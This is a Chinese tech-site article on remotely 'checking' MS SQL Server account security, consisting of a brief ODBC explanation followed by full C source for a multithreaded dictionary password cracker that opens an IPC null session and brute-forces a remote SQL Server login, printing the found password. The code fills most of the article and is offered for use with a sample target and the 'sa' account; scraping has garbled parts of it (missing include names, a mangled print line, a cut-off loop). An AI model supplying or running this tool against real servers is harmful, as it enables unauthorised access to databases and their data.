首页 电脑 电脑学堂 查看内容

远程检测MS SQL Server账号安全性

2009-10-15 15:39 721 0

摘要:   ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。   ODBC下现实运用中是一个数据库的访问...

  ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。   ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。   一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:   <1>启动ODBC数据库应用程序。   <2>与服务器建立IPC SESSION。   <3>创建数据库应用的环境句柄。   <4>创建连接句柄。   <5>连接数据源。   <6>创建语句句柄。   <7>通过上一步创建的语句句柄来执行SQL操作。   <8>释放语句句柄。   <9>要进行多此SQL操作的话,就循环步骤6-8。   <10>断开与数据库的连接。   <11>释放连接句柄。   <12>释放环境句柄。   <13>断开IPC SESSION。   <14>程序结束。   下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。   /**********************************************************   Module Name:SQLCheck.c   Date:2000.12.14   WEB:www.patching.net   Notices:Copyright(c) eyas   **********************************************************/   #include   #include   #include   #include   #include   #include   #include   #include   ////////////////////////////////////////////////////////////////////////   file://定义全局变量   char dict[20000][40],//密码字典   UserName[40],//用户名   target[40],//目标服务器   passwd[40];//已经探测出来的正确密码   int total=0;//字典里面单词数量   BOOL Cracked=FALSE;//探测密码成功时此值为TRUE   HANDLE hSemaphore,//信标内核对象   hEvent;//事件内核对象   long MaxThreads,//最大线程数量   ActiveThreads;//活动线程数量   ////////////////////////////////////////////////////////////////////////   void usage(char *pragname)   {   printf("\nPower by eyas"   "\nhttp://www.patching.net"   "\n2000/12/14"   "\n\nUsage:%s "   "\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);   return;   }   ////////////////////////////////////////////////////////////////////////   int ReadDic(char *dic)   {   FILE *fp;   char tmp[40];   file://打开字典文件   if((fp=fopen(dic,"r"))==NULL)   {   printf("\nCan't open %s",dic);   return 1;   }   while(!feof(fp))   {   file://读取数据到临时变量   if(fgets(tmp,40,fp)==NULL)   break;   file://把从文件里面读出来的最后一位数据[换行符号]去掉   strncpy(dict[total],tmp,strlen(tmp)-1);   total++;   if(total>=19999)   break;   }   fclose(fp);   return 0;   }   ////////////////////////////////////////////////////////////////////////   int ConnIPC(char *RemoteName)   {   NETRESOURCE nr;   DWORD flags=CONNECT_UPDATE_PROFILE;   TCHAR RN[30]="\\\\",   LN[5]="";   strcat(RN,RemoteName);   strcat(RN,"\\ipc$");   nr.dwType=RESOURCETYPE_DISK;   nr.lpLocalName=(LPTSTR)&LN;   nr.lpRemoteName=(LPTSTR)&RN;   nr.lpProvider=NULL;   if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)   {   return 0;   }   else   {   return 1;   }   }   ////////////////////////////////////////////////////////////////////////   int DelIPC(char *RemoteName)   {   DWORD ret;   TCHAR lpName[30]="\\\\";   strcat(lpName,RemoteName);   strcat(lpName,"\\ipc$");   ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);   if(ret==NO_ERROR)   {   return 0;   }   else   {   return 1;   }   }   ////////////////////////////////////////////////////////////////////////   DWORD WINAPI SQLCheck(PVOID pPwd)   {   file://定义局部变量   char szBuffer[1025];   char *pwd;   SWORD swStrLen;   SQLHDBC hdbc;   SQLHANDLE henv;   SQLRETURN retcode;//ODBC API运行返回值   SCHAR ConnStr[200];//连接数据库字符串   long PreviousCount;   file://取得传递过来准备探测的密码   pwd=(char *)pPwd;   file://构造连接数据库字符   sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",   target,UserName,pwd);   file://puts(ConnStr);   __try{   file://创建数据库应用的环境句柄   if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)   {   printf("\nAllocate environment handle failed.\n");   ExitProcess(1);   }   file://设置ODBC版本环境   if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)   SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)   {   printf("\nSet the ODBC version environment attribute failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   ExitProcess(1);   }   file://创建连接句柄   if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR   *)&hdbc)) != SQL_SUCCESS)   {   printf("\nAllocate connection handle failed.\n");   SQLFreeHandle(SQL_HANDLE_ENV, henv);   ExitProcess(1);   }   file://连接数据源   retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),   szBuffer,sizeof(szBuffer),&swStrLen,   SQL_DRIVER_COMPLETE_REQUIRED);   if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)   {   file://连接失败,函数终止   file://printf("\nCouldn't connect to %s MSSQL server.\n",target);   }   else   {   file://连接远程MSSQL Server数据库成功   Cracked=TRUE;   strncpy(passwd,pwd,sizeof(passwd));   file://断开连接   SQLDisconnect(hdbc);   }   }//end of tyr   __finally{   file://释放连接句柄   SQLFreeHandle(SQL_HANDLE_DBC, hdbc);   file://释放环境句柄   SQLFreeHandle(SQL_HANDLE_ENV, henv);   file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值   ReleaseSemaphore(hSemaphore,1,&PreviousCount);   file://计算当前活动线程数量   ActiveThreads=MaxThreads-PreviousCount-1;   %d.",ActiveThreads'>file://printf("\nActiveThreads-->%d.",ActiveThreads);   file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束   if(ActiveThreads==0)   {   SetEvent(hEvent);   }   }//end of finally   return 0;   }   ////////////////////////////////////////////////////////////////////////   int main(int argc,char **argv)   {   HANDLE hThread;//线程句柄   DWORD dwThreadId,dwRet;   int i=0,err=0;   clock_t start,end;//程序运行的起始和结束时间   double duration;   if(argc!=5)   {   usage(argv[0]);   return 1;   }   file://取得目标地址,用户名   strncpy(target,argv[1],sizeof(target));   strncpy(UserName,argv[2],sizeof(UserName));   file://取得并检查用户输入的最大线程数量   MaxThreads=atol(argv[4]);   if((MaxThreads>100) || (MaxThreads<1))   {   usage(argv[0]);   return 1;   }   file://读取字典中的单词到内存中   if(ReadDic(argv[3])!=0)   return 1;   file://与目标机器建立IPC Session   if(ConnIPC(argv[1])!=0)   {   printf("\nCan't built IPC NULL Session!");   return 1;   }   else   {   printf("\nBuilt IPC NULL Session success!\n");   }   file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads   hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);   if(hSemaphore==NULL)   {   printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());   return 1;   }   file://创建事件内核对象[人工重置,初始状态为未通知]   hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);   if(hEvent==NULL)   {   printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());   CloseHandle(hSemaphore);   return 1;   }   file://开始计时   start=clock();   file://开始建立线程探测密码   for(i=0;i {   file://探测密码成功后跳出此循环   if(Cracked==TRUE)   break;   file://显示进度信息   printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);   file://创建线程   hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);   file://处理创建线程错误的情况   if(hThread==NULL)   {   err++;   MessageBox(NULL,"thread error","error",MB_OK);   if(err>=50)   break;   }   CloseHandle(hThread);   Sleep(10);   file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态   WaitForSingleObject(hSemaphore,INFINITE);   }   file://等待事件内核对象通知,最多等待3分钟   dwRet=WaitForSingleObject(hEvent,180000);   switch(dwRet)   {   case WAIT_OBJECT_0:   printf("\nAll thread done.");   break;   case WAIT_TIMEOUT:   printf("\nWait time out.Exit.");   break;   case WAIT_FAILED:   printf("\nWaitForSingleObject() failed.");   break;   }   file://断开与目标机器的IPC Session   DelIPC(target);   file://探测密码成功后回显信息   if(Cracked==TRUE)   printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);   file://记时结束   end=clock();   file://转换时间格式   duration = (double)(end - start) / CLOCKS_PER_SEC;   file://显示所用时间   printf("\n\nComplete.Use %2.1f seconds.\n",duration);   return 0;   }   ////////////////////////////////////////////////////////////////////////   程序在windows2000,vc++6.0环境下编译通过。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部